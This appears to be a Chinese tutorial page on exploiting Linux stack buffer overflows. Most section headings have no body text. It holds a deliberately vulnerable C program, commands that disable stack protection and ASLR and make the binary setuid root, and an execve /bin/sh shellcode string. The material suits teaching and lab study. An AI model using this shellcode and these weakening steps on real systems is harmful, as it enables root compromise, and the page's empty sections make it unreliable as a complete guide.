linux

Linux exploit如何利用缓冲区溢出

小樊
37
2025-12-04 03:37:28
栏目: 智能运维

Linux 缓冲区溢出利用的原理与步骤

一、原理与关键条件

二、典型利用流程

三、最小示例与关键命令

// stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
    char buffer[12];
    strcpy(buffer, str);   // 无边界检查
    return 1;
}
int main(int argc, char **argv) {
    char str[517];
    FILE *badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
gcc -m32 -g -fno-stack-protector -z execstack -o stack stack.c
sudo chown root:root stack
sudo chmod u+s stack
sudo sysctl -w kernel.randomize_va_space=0
"\x31\xc0\x50\x68\"//sh\"\x68\"/bin\"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

四、绕过防护的常见技术

五、防护要点与合规提示

0
看了该问题的人还看了